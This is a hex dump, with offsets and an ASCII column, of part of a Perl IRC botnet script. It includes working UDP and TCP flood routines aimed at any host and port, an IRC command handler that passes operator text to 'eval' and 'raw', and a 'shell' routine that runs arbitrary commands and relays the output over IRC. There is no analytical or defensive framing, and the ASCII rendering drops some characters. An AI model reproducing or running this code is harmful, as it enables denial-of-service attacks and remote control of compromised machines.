51872:	20	3D	20	75	64	70	66	6C	6F	6F	64	65	72	28	22	24	31	22	2C	20	22	24	32	22	2C	20	22	24	33	22	29	3B	= udpflooder("$1", "$2", "$3");
51904:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	64	74	69	6D	65	20	3D	20	31	20	69	66	20	24	64	74	69	$dtime = 1 if $dti
51936:	6D	65	20	3D	3D	20	30	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	6D	79	20	25	62	79	74	65	73	3B	me == ; my %bytes;
51968:	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	62	79	74	65	73	7B	69	67	6D	70	7D	20	3D	20	24	32	20	$bytes{igmp} = $2
52000:	2A	20	24	70	61	63	6F	74	65	73	7B	69	67	6D	70	7D	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	* $pacotes{igmp}; $
52032:	62	79	74	65	73	7B	69	63	6D	70	7D	20	3D	20	24	32	20	2A	20	24	70	61	63	6F	74	65	73	7B	69	63	6D	70	bytes{icmp} = $2 * $pacotes{icmp
52064:	7D	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	62	79	74	65	73	7B	6F	7D	20	3D	20	24	32	20	2A	}; $bytes{o} = $2 *
52096:	20	24	70	61	63	6F	74	65	73	7B	6F	7D	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	62	79	74	65	$pacotes{o}; $byte
52128:	73	7B	75	64	70	7D	20	3D	20	24	32	20	2A	20	24	70	61	63	6F	74	65	73	7B	75	64	70	7D	3B	0D	0A	20	20	s{udp} = $2 * $pacotes{udp};
52160:	20	20	20	20	20	20	20	20	20	20	24	62	79	74	65	73	7B	74	63	70	7D	20	3D	20	24	32	20	2A	20	24	70	61	$bytes{tcp} = $2 * $pa
52192:	63	6F	74	65	73	7B	74	63	70	7D	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	65	6E	64	72	61	77	cotes{tcp}; sendraw
52224:	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	20	24	70	72	69	6E	($IRC_cur_socket, "PRIVMSG $prin
52256:	74	6C	20	3A	03	34	5B	02	03	34	40	03	33	55	44	50	2D	44	44	6F	73	02	03	31	32	5D	03	31	32	20	03	31	tl :4[4@3UDP-DDos12]12 1
52288:	32	52	65	73	75	6C	74	73	03	34	20	22	2E	69	6E	74	28	28	24	62	79	74	65	73	7B	69	63	6D	70	7D	2B	24	2Results4 ".int(($bytes{icmp}+$
52320:	62	79	74	65	73	7B	69	67	6D	70	7D	2B	24	62	79	74	65	73	7B	75	64	70	7D	20	2B	20	24	62	79	74	65	73	bytes{igmp}+$bytes{udp} + $bytes
52352:	7B	6F	7D	29	2F	31	30	32	34	29	2E	22	20	03	31	32	4B	62	20	69	6E	03	34	20	22	2E	24	64	74	69	6D	65	{o})/1 24)." 12Kb in4 ".$dtime
52384:	2E	22	20	03	31	32	73	65	63	6F	6E	64	73	20	74	6F	03	34	20	22	2E	24	31	2E	22	2E	22	29	3B	0D	0A	20	." 12seconds to4 ".$1.".");
52416:	20	20	20	20	20	20	20	20	7D	0D	0A	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	} #####################
52448:	23	0D	0A	23	20	20	45	6E	64	20	6F	66	20	55	64	70	66	6C	6F	6F	64	20	20	20	23	0D	0A	23	23	23	23	23	# # End of Udpflood # #####
52480:	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	23	0D	0A	20	20	20	20	20	20	20	20	20	65	78	69	74	################# exit
52512:	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	7D	0D	0A	0D	0A	73	75	62	20	69	72	63	61	73	65	20	7B	; } } sub ircase {
52544:	0D	0A	20	20	20	6D	79	20	28	24	6B	65	6D	2C	20	24	70	72	69	6E	74	6C	2C	20	24	63	61	73	65	29	20	3D	my ($kem, $printl, $case) =
52576:	20	40	5F	3B	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	6A	6F	69	6E	20	28	2E	2A	@_; if ($case =~ /^join (.*
52608:	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	6A	28	22	24	31	22	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	)/) { j("$1"); }
52640:	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	70	61	72	74	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	if ($case =~ /^part (.*)/) {
52672:	20	20	20	20	70	28	22	24	31	22	29	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	p("$1"); } if ($case
52704:	20	3D	7E	20	2F	5E	72	65	6A	6F	69	6E	5C	73	2B	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	6D	=~ /^rejoin\s+(.*)/) { m
52736:	79	20	24	63	68	61	6E	20	3D	20	24	31	3B	0D	0A	20	20	20	20	20	20	69	66	20	28	24	63	68	61	6E	20	3D	y $chan = $1; if ($chan =
52768:	7E	20	2F	5E	28	5C	64	2B	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	66	6F	72	~ /^(\d+) (.*)/) { for
52800:	20	28	6D	79	20	24	63	61	20	3D	20	31	3B	20	24	63	61	20	3C	3D	20	24	31	3B	20	24	63	61	2B	2B	20	29	(my $ca = 1; $ca <= $1; $ca++ )
52832:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	70	28	22	24	32	22	29	3B	0D	0A	20	20	20	20	20	20	{ p("$2");
52864:	20	20	20	20	20	20	6A	28	22	24	32	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	j("$2"); }
52896:	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	70	28	22	24	63	68	61	6E	22	29	3B	} else { p("$chan");
52928:	0D	0A	20	20	20	20	20	20	20	20	20	6A	28	22	24	63	68	61	6E	22	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	j("$chan"); }
52960:	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	6F	70	2F	29	20	} if ($case =~ /^op/)
52992:	7B	0D	0A	20	20	20	20	20	20	6F	70	28	22	24	70	72	69	6E	74	6C	22	2C	20	22	24	6B	65	6D	22	29	20	69	{ op("$printl", "$kem") i
53024:	66	20	24	63	61	73	65	20	65	71	20	22	6F	70	22	3B	0D	0A	20	20	20	20	20	20	6D	79	20	24	6F	61	72	67	f $case eq "op"; my $oarg
53056:	20	3D	20	73	75	62	73	74	72	28	24	63	61	73	65	2C	20	33	29	3B	0D	0A	20	20	20	20	20	20	6F	70	28	22	= substr($case, 3); op("
53088:	24	31	22	2C	20	22	24	32	22	29	20	69	66	20	28	24	6F	61	72	67	20	3D	7E	20	2F	28	5C	53	2B	29	5C	73	$1", "$2") if ($oarg =~ /(\S+)\s
53120:	2B	28	5C	53	2B	29	2F	29	3B	0D	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	+(\S+)/); } if ($case
53152:	3D	7E	20	2F	5E	64	65	6F	70	2F	29	20	7B	0D	0A	20	20	20	20	20	20	64	65	6F	70	28	22	24	70	72	69	6E	=~ /^deop/) { deop("$prin
53184:	74	6C	22	2C	20	22	24	6B	65	6D	22	29	20	69	66	20	24	63	61	73	65	20	65	71	20	22	64	65	6F	70	22	3B	tl", "$kem") if $case eq "deop";
53216:	0D	0A	20	20	20	20	20	20	6D	79	20	24	6F	61	72	67	20	3D	20	73	75	62	73	74	72	28	24	63	61	73	65	2C	my $oarg = substr($case,
53248:	20	35	29	3B	0D	0A	20	20	20	20	20	20	64	65	6F	70	28	22	24	31	22	2C	20	22	24	32	22	29	20	69	66	20	5); deop("$1", "$2") if
53280:	28	24	6F	61	72	67	20	3D	7E	20	2F	28	5C	53	2B	29	5C	73	2B	28	5C	53	2B	29	2F	29	3B	0D	0A	20	20	20	($oarg =~ /(\S+)\s+(\S+)/);
53312:	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	6D	73	67	5C	73	2B	28	5C	53	} if ($case =~ /^msg\s+(\S
53344:	2B	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	6D	73	67	28	22	24	31	22	2C	20	22	24	32	+) (.*)/) { msg("$1", "$2
53376:	22	29	3B	0D	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	66	"); } if ($case =~ /^f
53408:	6C	6F	6F	64	5C	73	2B	28	5C	64	2B	29	5C	73	2B	28	5C	53	2B	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	lood\s+(\d+)\s+(\S+) (.*)/) {
53440:	20	20	20	20	20	66	6F	72	20	28	6D	79	20	24	63	66	20	3D	20	31	3B	20	24	63	66	20	3C	3D	20	24	31	3B	for (my $cf = 1; $cf <= $1;
53472:	20	24	63	66	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	6D	73	67	28	22	24	32	22	2C	20	22	24	$cf++) { msg("$2", "$
53504:	33	22	29	3B	0D	0A	20	20	20	20	20	20	7D	0D	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	3"); } } if ($c
53536:	61	73	65	20	3D	7E	20	2F	5E	63	74	63	70	5C	73	2B	28	5C	53	2B	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	ase =~ /^ctcp\s+(\S+) (.*)/) {
53568:	20	20	20	20	20	20	63	74	63	70	28	22	24	31	22	2C	20	22	24	32	22	29	3B	0D	0A	20	20	20	7D	0D	0A	0D	ctcp("$1", "$2"); }
53600:	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	63	74	63	70	66	6C	6F	6F	64	5C	73	2B	28	if ($case =~ /^ctcpflood\s+(
53632:	5C	64	2B	29	5C	73	2B	28	5C	53	2B	29	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	66	6F	72	\d+)\s+(\S+) (.*)/) { for
53664:	20	28	6D	79	20	24	63	66	20	3D	20	31	3B	20	24	63	66	20	3C	3D	20	24	31	3B	20	24	63	66	2B	2B	29	20	(my $cf = 1; $cf <= $1; $cf++)
53696:	7B	0D	0A	20	20	20	20	20	20	20	20	20	63	74	63	70	28	22	24	32	22	2C	20	22	24	33	22	29	3B	0D	0A	20	{ ctcp("$2", "$3");
53728:	20	20	20	20	20	7D	0D	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	} } if ($case =~
53760:	2F	5E	6E	69	63	6B	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	20	20	20	6E	69	63	6B	28	22	24	31	22	/^nick (.*)/) { nick("$1"
53792:	29	3B	0D	0A	20	20	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	63	6F	); } if ($case =~ /^co
53824:	6E	6E	65	63	74	5C	73	2B	28	5C	53	2B	29	5C	73	2B	28	5C	53	2B	29	2F	29	20	7B	0D	0A	20	20	20	20	20	nnect\s+(\S+)\s+(\S+)/) {
53856:	20	63	6F	6E	65	63	74	61	72	28	22	24	32	22	2C	20	22	24	31	22	2C	20	36	36	36	37	29	3B	0D	0A	20	20	conectar("$2", "$1", 6667);
53888:	20	7D	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	72	61	77	20	28	2E	2A	29	} if ($case =~ /^raw (.*)
53920:	2F	29	20	7B	0D	0A	20	20	20	20	20	20	73	65	6E	64	72	61	77	28	22	24	31	22	29	3B	0D	0A	20	20	20	7D	/) { sendraw("$1"); }
53952:	0D	0A	0D	0A	20	20	20	69	66	20	28	24	63	61	73	65	20	3D	7E	20	2F	5E	65	76	61	6C	20	28	2E	2A	29	2F	if ($case =~ /^eval (.*)/
53984:	29	20	7B	0D	0A	20	20	20	20	20	20	65	76	61	6C	20	22	24	31	22	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	) { eval "$1"; } }
54016:	0D	0A	73	75	62	20	67	65	74	5F	68	74	6D	6C	28	29	20	7B	0D	0A	24	74	65	73	74	3D	24	5F	5B	30	5D	3B	sub get_html() { $test=$_[ ];
54048:	0D	0A	0D	0A	20	20	20	20	20	20	24	69	70	3D	24	5F	5B	31	5D	3B	0D	0A	20	20	20	20	20	20	24	70	6F	72	$ip=$_[1]; $por
54080:	74	3D	24	5F	5B	32	5D	3B	0D	0A	0D	0A	6D	79	20	24	72	65	71	3D	48	54	54	50	3A	3A	52	65	71	75	65	73	t=$_[2]; my $req=HTTP::Reques
54112:	74	2D	3E	6E	65	77	28	47	45	54	3D	3E	24	74	65	73	74	29	3B	0D	0A	6D	79	20	24	75	61	3D	4C	57	50	3A	t->new(GET=>$test); my $ua=LWP:
54144:	3A	55	73	65	72	41	67	65	6E	74	2D	3E	6E	65	77	28	29	3B	0D	0A	69	66	28	64	65	66	69	6E	65	64	28	24	:UserAgent->new(); if(defined($
54176:	69	70	29	20	26	26	20	64	65	66	69	6E	65	64	28	24	70	6F	72	74	29	29	20	7B	0D	0A	20	20	20	20	20	20	ip) && defined($port)) {
54208:	24	75	61	2D	3E	70	72	6F	78	79	28	22	68	74	74	70	22	2C	22	68	74	74	70	3A	2F	2F	24	69	70	3A	24	70	$ua->proxy("http","http://$ip:$p
54240:	6F	72	74	2F	22	29	3B	0D	0A	20	20	20	20	20	20	24	75	61	2D	3E	61	67	65	6E	74	28	22	4D	6F	7A	69	6C	ort/"); $ua->agent("Mozil
54272:	6C	61	2F	34	2E	30	20	28	63	6F	6D	70	61	74	69	62	6C	65	3B	20	4D	53	49	45	20	36	2E	30	3B	20	57	69	la/4. (compatible; MSIE 6. ; Wi
54304:	6E	64	6F	77	73	20	4E	54	20	35	2E	30	29	22	29	3B	0D	0A	7D	0D	0A	24	75	61	2D	3E	74	69	6D	65	6F	75	ndows NT 5. )"); } $ua->timeou
54336:	74	28	31	29	3B	0D	0A	6D	79	20	24	72	65	73	70	6F	6E	73	65	3D	24	75	61	2D	3E	72	65	71	75	65	73	74	t(1); my $response=$ua->request
54368:	28	24	72	65	71	29	3B	0D	0A	69	66	20	28	24	72	65	73	70	6F	6E	73	65	2D	3E	69	73	5F	73	75	63	63	65	($req); if ($response->is_succe
54400:	73	73	29	20	7B	0D	0A	20	20	20	24	72	65	3D	24	72	65	73	70	6F	6E	73	65	2D	3E	63	6F	6E	74	65	6E	74	ss) { $re=$response->content
54432:	3B	0D	0A	7D	0D	0A	72	65	74	75	72	6E	20	24	72	65	3B	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	61	64	64	70	; } return $re; } sub addp
54464:	72	6F	63	20	7B	0D	0A	0D	0A	20	20	20	6D	79	20	24	70	72	6F	63	3D	24	5F	5B	30	5D	3B	0D	0A	20	20	20	roc { my $proc=$_[ ];
54496:	6D	79	20	24	64	6F	72	6B	3D	24	5F	5B	31	5D	3B	0D	0A	20	20	20	0D	0A	20	20	20	6F	70	65	6E	28	46	49	my $dork=$_[1]; open(FI
54528:	4C	45	2C	22	3E	3E	2F	76	61	72	2F	74	6D	70	2F	70	69	64	73	22	29	3B	0D	0A	20	20	20	70	72	69	6E	74	LE,">>/var/tmp/pids"); print
54560:	20	46	49	4C	45	20	24	70	72	6F	63	2E	22	20	5B	22	2E	24	69	72	63	5F	73	65	72	76	65	72	73	7B	24	49	FILE $proc." [".$irc_servers{$I
54592:	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	7D	7B	27	6E	69	63	6B	27	7D	2E	22	5D	20	24	64	6F	72	6B	5C	RC_cur_socket}{'nick'}."] $dork\
54624:	6E	22	3B	0D	0A	20	20	20	63	6C	6F	73	65	28	46	49	4C	45	29	3B	0D	0A	7D	0D	0A	0D	0A	0D	0A	73	75	62	n"; close(FILE); } sub
54656:	20	64	65	6C	70	72	6F	63	20	7B	0D	0A	0D	0A	20	20	20	6D	79	20	24	70	72	6F	63	3D	24	5F	5B	30	5D	3B	delproc { my $proc=$_[ ];
54688:	0D	0A	20	20	20	6F	70	65	6E	28	46	49	4C	45	2C	22	2F	76	61	72	2F	74	6D	70	2F	70	69	64	73	22	29	3B	open(FILE,"/var/tmp/pids");
54720:	0D	0A	0D	0A	20	20	20	77	68	69	6C	65	28	3C	46	49	4C	45	3E	29	20	7B	0D	0A	20	20	20	20	20	20	24	5F	while(<FILE>) { $_
54752:	20	3D	7E	20	2F	28	5C	64	2B	29	5C	73	2B	28	2E	2A	29	2F	3B	0D	0A	20	20	20	20	20	20	24	63	68	69	6C	=~ /(\d+)\s+(.*)/; $chil
54784:	64	73	7B	24	31	7D	3D	24	32	3B	0D	0A	20	20	20	7D	0D	0A	20	20	20	63	6C	6F	73	65	28	46	49	4C	45	29	ds{$1}=$2; } close(FILE)
54816:	3B	0D	0A	20	20	20	64	65	6C	65	74	65	28	24	63	68	69	6C	64	73	7B	24	70	72	6F	63	7D	29	3B	0D	0A	0D	; delete($childs{$proc});
54848:	0A	20	20	20	6F	70	65	6E	28	46	49	4C	45	2C	22	3E	2F	76	61	72	2F	74	6D	70	2F	70	69	64	73	22	29	3B	open(FILE,">/var/tmp/pids");
54880:	0D	0A	0D	0A	20	20	20	66	6F	72	20	24	6B	6C	75	63	7A	20	28	6B	65	79	73	20	25	63	68	69	6C	64	73	29	for $klucz (keys %childs)
54912:	20	7B	0D	0A	20	20	20	20	20	20	70	72	69	6E	74	20	46	49	4C	45	20	24	6B	6C	75	63	7A	2E	22	20	22	2E	{ print FILE $klucz." ".
54944:	24	63	68	69	6C	64	73	7B	24	6B	6C	75	63	7A	7D	2E	22	5C	6E	22	3B	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	$childs{$klucz}."\n"; } }
54976:	0D	0A	73	75	62	20	73	68	65	6C	6C	20	7B	0D	0A	20	20	20	6D	79	20	24	70	72	69	6E	74	6C	3D	24	5F	5B	sub shell { my $printl=$_[
55008:	30	5D	3B	0D	0A	20	20	20	6D	79	20	24	63	6F	6D	61	6E	64	6F	3D	24	5F	5B	31	5D	3B	0D	0A	20	20	20	69	]; my $comando=$_[1]; i
55040:	66	20	28	24	63	6F	6D	61	6E	64	6F	20	3D	7E	20	2F	63	64	20	28	2E	2A	29	2F	29	20	7B	0D	0A	20	20	20	f ($comando =~ /cd (.*)/) {
55072:	20	20	20	63	68	64	69	72	28	22	24	31	22	29	20	7C	7C	20	6D	73	67	28	22	24	70	72	69	6E	74	6C	22	2C	chdir("$1") \|\| msg("$printl",
55104:	20	22	4E	6F	20	73	75	63	68	20	66	69	6C	65	20	6F	72	20	64	69	72	65	63	74	6F	72	79	22	29	3B	0D	0A	"No such file or directory");
55136:	20	20	20	20	20	20	72	65	74	75	72	6E	3B	0D	0A	20	20	20	7D	20	65	6C	73	69	66	20	28	24	70	69	64	20	return; } elsif ($pid
55168:	3D	20	66	6F	72	6B	29	20	7B	0D	0A	20	20	20	20	20	20	77	61	69	74	70	69	64	28	24	70	69	64	2C	20	30	= fork) { waitpid($pid,
55200:	29	3B	0D	0A	20	20	20	7D	20	65	6C	73	65	20	7B	0D	0A	20	20	20	20	20	20	69	66	20	28	66	6F	72	6B	29	); } else { if (fork)
55232:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	20	20	20	7D	20	65	6C	73	65	{ exit; } else
55264:	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	40	72	65	73	70	3D	60	24	63	6F	6D	61	6E	64	6F	20	{ my @resp=`$comando
55296:	32	3E	26	31	20	33	3E	26	31	60	3B	0D	0A	20	20	20	20	20	20	20	20	20	6D	79	20	24	63	3D	30	3B	0D	0A	2>&1 3>&1`; my $c= ;
55328:	20	20	20	20	20	20	20	20	20	66	6F	72	65	61	63	68	20	6D	79	20	24	6C	69	6E	68	61	20	28	40	72	65	73	foreach my $linha (@res
55360:	70	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	24	63	2B	2B	3B	0D	0A	20	20	20	20	20	20	20	p) { $c++;
55392:	20	20	20	20	20	63	68	6F	70	20	24	6C	69	6E	68	61	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	73	chop $linha; s
55424:	65	6E	64	72	61	77	28	24	49	52	43	5F	63	75	72	5F	73	6F	63	6B	65	74	2C	20	22	50	52	49	56	4D	53	47	endraw($IRC_cur_socket, "PRIVMSG
55456:	20	24	70	72	69	6E	74	6C	20	3A	24	6C	69	6E	68	61	22	29	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	$printl :$linha");
55488:	20	69	66	20	28	24	63	20	3D	3D	20	22	24	6C	69	6E	61	73	5F	6D	61	78	22	29	20	7B	0D	0A	20	20	20	20	if ($c == "$linas_max") {
55520:	20	20	20	20	20	20	20	20	20	20	20	24	63	3D	30	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	20	20	$c= ;
55552:	20	73	6C	65	65	70	20	24	73	6C	65	65	70	3B	0D	0A	20	20	20	20	20	20	20	20	20	20	20	20	7D	0D	0A	20	sleep $sleep; }
55584:	20	20	20	20	20	20	20	20	7D	0D	0A	20	20	20	20	20	20	20	20	20	65	78	69	74	3B	0D	0A	20	20	20	20	20	} exit;
55616:	20	7D	0D	0A	20	20	20	7D	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	74	63	70	66	6C	6F	6F	64	65	72	20	7B	0D	} } } sub tcpflooder {
55648:	0A	20	20	20	6D	79	20	24	69	74	69	6D	65	20	3D	20	74	69	6D	65	3B	0D	0A	20	20	20	6D	79	20	28	24	63	my $itime = time; my ($c
55680:	75	72	5F	74	69	6D	65	29	3B	0D	0A	20	20	20	6D	79	20	28	24	69	61	2C	24	70	61	2C	24	70	72	6F	74	6F	ur_time); my ($ia,$pa,$proto
55712:	2C	24	6A	2C	24	6C	2C	24	74	29	3B	0D	0A	20	20	20	24	69	61	3D	69	6E	65	74	5F	61	74	6F	6E	28	24	5F	,$j,$l,$t); $ia=inet_aton($_
55744:	5B	30	5D	29	3B	0D	0A	20	20	20	24	70	61	3D	73	6F	63	6B	61	64	64	72	5F	69	6E	28	24	5F	5B	31	5D	2C	[ ]); $pa=sockaddr_in($_[1],
55776:	24	69	61	29	3B	0D	0A	20	20	20	24	66	74	69	6D	65	3D	24	5F	5B	32	5D	3B	0D	0A	20	20	20	24	70	72	6F	$ia); $ftime=$_[2]; $pro
55808:	74	6F	3D	67	65	74	70	72	6F	74	6F	62	79	6E	61	6D	65	28	27	74	63	70	27	29	3B	0D	0A	20	20	20	24	6A	to=getprotobyname('tcp'); $j
55840:	3D	30	3B	24	6C	3D	30	3B	0D	0A	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	= ;$l= ; $cur_time = time -
55872:	24	69	74	69	6D	65	3B	0D	0A	20	20	20	77	68	69	6C	65	20	28	24	6C	3C	31	30	30	30	29	7B	0D	0A	20	20	$itime; while ($l<1 ){
55904:	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	$cur_time = time - $itime;
55936:	20	20	20	20	20	20	6C	61	73	74	20	69	66	20	24	63	75	72	5F	74	69	6D	65	20	3E	3D	20	24	66	74	69	6D	last if $cur_time >= $ftim
55968:	65	3B	0D	0A	20	20	20	20	20	20	24	74	3D	22	53	4F	43	4B	24	6C	22	3B	0D	0A	20	20	20	20	20	20	73	6F	e; $t="SOCK$l"; so
56000:	63	6B	65	74	28	24	74	2C	50	46	5F	49	4E	45	54	2C	53	4F	43	4B	5F	53	54	52	45	41	4D	2C	24	70	72	6F	cket($t,PF_INET,SOCK_STREAM,$pro
56032:	74	6F	29	3B	0D	0A	20	20	20	20	20	20	63	6F	6E	6E	65	63	74	28	24	74	2C	24	70	61	29	7C	7C	24	6A	2D	to); connect($t,$pa)\|\|$j-
56064:	2D	3B	0D	0A	20	20	20	20	20	20	24	6A	2B	2B	3B	0D	0A	20	20	20	20	20	20	24	6C	2B	2B	3B	0D	0A	20	20	-; $j++; $l++;
56096:	20	7D	0D	0A	20	20	20	24	6C	3D	30	3B	0D	0A	20	20	20	77	68	69	6C	65	20	28	24	6C	3C	31	30	30	30	29	} $l= ; while ($l<1 )
56128:	7B	0D	0A	20	20	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	69	6D	65	20	2D	20	24	69	74	69	{ $cur_time = time - $iti
56160:	6D	65	3B	0D	0A	20	20	20	20	20	20	6C	61	73	74	20	69	66	20	24	63	75	72	5F	74	69	6D	65	20	3E	3D	20	me; last if $cur_time >=
56192:	24	66	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	24	74	3D	22	53	4F	43	4B	24	6C	22	3B	0D	0A	20	20	20	$ftime; $t="SOCK$l";
56224:	20	20	20	73	68	75	74	64	6F	77	6E	28	24	74	2C	32	29	3B	0D	0A	20	20	20	20	20	20	24	6C	2B	2B	3B	0D	shutdown($t,2); $l++;
56256:	0A	20	20	20	7D	0D	0A	7D	0D	0A	0D	0A	73	75	62	20	75	64	70	66	6C	6F	6F	64	65	72	20	7B	0D	0A	20	20	} } sub udpflooder {
56288:	20	6D	79	20	24	69	61	64	64	72	20	3D	20	69	6E	65	74	5F	61	74	6F	6E	28	24	5F	5B	30	5D	29	3B	0D	0A	my $iaddr = inet_aton($_[ ]);
56320:	20	20	20	6D	79	20	24	6D	73	67	20	3D	20	27	41	27	20	78	20	24	5F	5B	31	5D	3B	0D	0A	20	20	20	6D	79	my $msg = 'A' x $_[1]; my
56352:	20	24	66	74	69	6D	65	20	3D	20	24	5F	5B	32	5D	3B	0D	0A	20	20	20	6D	79	20	24	63	70	20	3D	20	30	3B	$ftime = $_[2]; my $cp = ;
56384:	0D	0A	20	20	20	6D	79	20	28	25	70	61	63	6F	74	65	73	29	3B	0D	0A	20	20	20	24	70	61	63	6F	74	65	73	my (%pacotes); $pacotes
56416:	7B	69	63	6D	70	7D	20	3D	20	24	70	61	63	6F	74	65	73	7B	69	67	6D	70	7D	20	3D	20	24	70	61	63	6F	74	{icmp} = $pacotes{igmp} = $pacot
56448:	65	73	7B	75	64	70	7D	20	3D	20	24	70	61	63	6F	74	65	73	7B	6F	7D	20	3D	20	24	70	61	63	6F	74	65	73	es{udp} = $pacotes{o} = $pacotes
56480:	7B	74	63	70	7D	20	3D	20	30	3B	0D	0A	20	20	20	73	6F	63	6B	65	74	28	53	4F	43	4B	31	2C	20	50	46	5F	{tcp} = ; socket(SOCK1, PF_
56512:	49	4E	45	54	2C	20	53	4F	43	4B	5F	52	41	57	2C	20	32	29	20	6F	72	20	24	63	70	2B	2B	3B	0D	0A	20	20	INET, SOCK_RAW, 2) or $cp++;
56544:	20	73	6F	63	6B	65	74	28	53	4F	43	4B	32	2C	20	50	46	5F	49	4E	45	54	2C	20	53	4F	43	4B	5F	44	47	52	socket(SOCK2, PF_INET, SOCK_DGR
56576:	41	4D	2C	20	31	37	29	20	6F	72	20	24	63	70	2B	2B	3B	0D	0A	20	20	20	73	6F	63	6B	65	74	28	53	4F	43	AM, 17) or $cp++; socket(SOC
56608:	4B	33	2C	20	50	46	5F	49	4E	45	54	2C	20	53	4F	43	4B	5F	52	41	57	2C	20	31	29	20	6F	72	20	24	63	70	K3, PF_INET, SOCK_RAW, 1) or $cp
56640:	2B	2B	3B	0D	0A	20	20	20	73	6F	63	6B	65	74	28	53	4F	43	4B	34	2C	20	50	46	5F	49	4E	45	54	2C	20	53	++; socket(SOCK4, PF_INET, S
56672:	4F	43	4B	5F	52	41	57	2C	20	36	29	20	6F	72	20	24	63	70	2B	2B	3B	0D	0A	20	20	20	72	65	74	75	72	6E	OCK_RAW, 6) or $cp++; return
56704:	28	75	6E	64	65	66	29	20	69	66	20	24	63	70	20	3D	3D	20	34	3B	0D	0A	20	20	20	6D	79	20	24	69	74	69	(undef) if $cp == 4; my $iti
56736:	6D	65	20	3D	20	74	69	6D	65	3B	0D	0A	20	20	20	6D	79	20	28	24	63	75	72	5F	74	69	6D	65	29	3B	0D	0A	me = time; my ($cur_time);
56768:	20	20	20	77	68	69	6C	65	20	28	20	31	20	29	20	7B	0D	0A	20	20	20	20	20	20	66	6F	72	20	28	6D	79	20	while ( 1 ) { for (my
56800:	24	70	6F	72	74	61	20	3D	20	31	3B	20	24	70	6F	72	74	61	20	3C	3D	20	36	35	30	30	30	3B	20	24	70	6F	$porta = 1; $porta <= 65 ; $po
56832:	72	74	61	2B	2B	29	20	7B	0D	0A	20	20	20	20	20	20	20	20	20	24	63	75	72	5F	74	69	6D	65	20	3D	20	74	rta++) { $cur_time = t
56864:	69	6D	65	20	2D	20	24	69	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	6C	61	73	74	20	69	66	20	ime - $itime; last if
56896:	24	63	75	72	5F	74	69	6D	65	20	3E	3D	20	24	66	74	69	6D	65	3B	0D	0A	20	20	20	20	20	20	20	20	20	73	$cur_time >= $ftime; s
56928:	65	6E	64	28	53	4F	43	4B	31	2C	20	24	6D	73	67	2C	20	30	2C	20	73	6F	63	6B	61	64	64	72	5F	69	6E	28	end(SOCK1, $msg, , sockaddr_in(
